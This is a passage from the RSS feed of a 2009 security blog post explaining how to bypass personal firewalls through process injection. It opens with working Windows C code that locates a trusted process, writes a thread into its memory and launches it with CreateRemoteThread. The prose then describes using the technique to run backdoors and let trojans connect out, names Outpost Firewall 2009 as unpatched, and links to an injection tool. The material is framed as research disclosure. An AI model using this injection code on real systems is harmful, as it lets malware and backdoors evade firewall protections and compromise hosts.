    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>hSnap <span style="color: #339933;">=</span>CreateToolhelp32Snapshot<span style="color: #009900;">&#40;</span>TH32CS_SNAPPROCESS<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> INVALID_HANDLE_VALUE <span style="color: #009900;">&#41;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">;</span>
    pe32.<span style="color: #202020;">dwSize</span> <span style="color: #339933;">=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>PROCESSENTRY32<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    Process32First<span style="color: #009900;">&#40;</span>hSnap<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pe32<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> StrCmpNI<span style="color: #009900;">&#40;</span>INJECT_EXE<span style="color: #339933;">,</span>pe32.<span style="color: #202020;">szExeFile</span><span style="color: #339933;">,</span>strlen<span style="color: #009900;">&#40;</span>INJECT_EXE<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    pID<span style="color: #339933;">=</span>pe32.<span style="color: #202020;">th32ProcessID</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>Process32Next<span style="color: #009900;">&#40;</span>hSnap<span style="color: #339933;">,&amp;</span>pe32<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> hSnap <span style="color: #339933;">!=</span> INVALID_HANDLE_VALUE <span style="color: #009900;">&#41;</span>
    CloseHandle<span style="color: #009900;">&#40;</span>hSnap<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hProcess <span style="color: #339933;">=</span> OpenProcess<span style="color: #009900;">&#40;</span>PROCESS_ALL_ACCESS<span style="color: #339933;">,</span>FALSE<span style="color: #339933;">,</span>pID<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    pRemoteThread <span style="color: #339933;">=</span> VirtualAllocEx<span style="color: #009900;">&#40;</span>hProcess<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> dwThreadSize<span style="color: #339933;">,</span> MEM_COMMIT <span style="color: #339933;">|</span> MEM_RESERVE<span style="color: #339933;">,</span>PAGE_EXECUTE_READWRITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    WriteProcessMemory<span style="color: #009900;">&#40;</span>hProcess<span style="color: #339933;">,</span> pRemoteThread<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>ThreadProc<span style="color: #339933;">,</span> dwThreadSize<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    ZeroMemory<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>my_RPar<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>RPar<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hKernel <span style="color: #339933;">=</span> LoadLibrary<span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;kernel32.dll&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwDeleteFile</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hKernel<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;DeleteFileA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwSleep</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hKernel<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Sleep&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hUser <span style="color: #339933;">=</span> LoadLibrary<span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;user32.dll&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwMessageBox</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hUser<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;MessageBoxA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    GetModuleFileName<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span>ExeFile<span style="color: #339933;">,</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span> <span style="color: #009900;">&#40;</span>ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">Filename</span><span style="color: #339933;">,</span> ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string1</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;HI Abysssec&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string2</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;OK&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    pmy_RPar <span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>RPar <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>VirtualAllocEx <span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>RPar<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>MEM_COMMIT<span style="color: #339933;">,</span>PAGE_READWRITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    WriteProcessMemory<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,&amp;</span>my_RPar<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span> my_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CreateRemoteThread<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>DWORD <span style="color: #009900;">&#40;</span>__stdcall <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>pRemoteThread <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,&amp;</span>dwThreadId<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    FreeLibrary<span style="color: #009900;">&#40;</span>hKernel<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CloseHandle<span style="color: #009900;">&#40;</span>hProcess<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;tasklist&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<blockquote></blockquote>
<p><strong>what Happens When Firewall bypass ?</strong></p>
<p><em>in servers :</em></p>
<p>we can call "Internet explorer" or  other trusted Application with [ASP.NET Execute Permission ] and run backdoor in any port .</p>
<p>with this method , we can telnet to open port of server without any worry  .</p>
<p><em>In Client :</em></p>
<p>Backdoor , Trojans , bad software , connect to internet without Access .</p>
<p>Real Word [ Discovered By Abysssec ] test :</p>
<p><strong>Vulnerability Firewall [Outpost 2009 ] :</strong></p>
<p><a href="http://www.agnitum.com/products/outpost/">http://www.agnitum.com/products/outpost/</a></p>
<p>You can Inject Process In IE7 or Mozilla Firefox [default Trusted ] .</p>
<p>[Sorry For more information , This bug is not fixed  , You can test it with Process Injector tools  ].</p>
<p>www.tarasco.org</p>
<p>[pinjector.exe] :</p>
<p><img class="alignnone" title="pinjector" src="http://www.tarasco.org/security/pinjector/pinjector.jpg" alt="" width="590" height="412" /></p>
<p>Download Link + source :</p>
<p><a href="http://www.tarasco.org/security/pinjector/index.html">http://www.tarasco.org/security/pinjector/index.html</a></p>
<p>Final deduction:</p>
<p>1- We can Bypass some firewalls : Don't checked  Allocated Memory in Trusted Process .</p>
<p>2- Dll , Process , PE injection is useful way to run Process without new Prosess ID [PID]  .</p>
<p>In Future :</p>
<p>1- Usage Of these Method In other bypass Protections [hybrid or frees  Protection ]</p>
<p>2 - PE INJECTION , why , what , where !?</p>
<p>More Information :</p>
<p>http://www.tarasco.org/security/pinjector/Win32.Design.Flaws.pdf</p>
<p>http://www.firewallleaktester.com/docs/leaktest.pdf</p>
<p>http://www.bluenotch.com/files/Shewmaker-DLL-Injection.pdf</p>
<p><span class="srcSentence">--------------------------------------------------------------------------------------</span></p>
<p><span class="srcSentence">Happy new year  and holy days</span></p>
<p><span class="srcSentence">god speed you<br />
</span></p>
<p><span class="srcSentence">Daphne<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/03/how-bypass-firewall-with-process-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

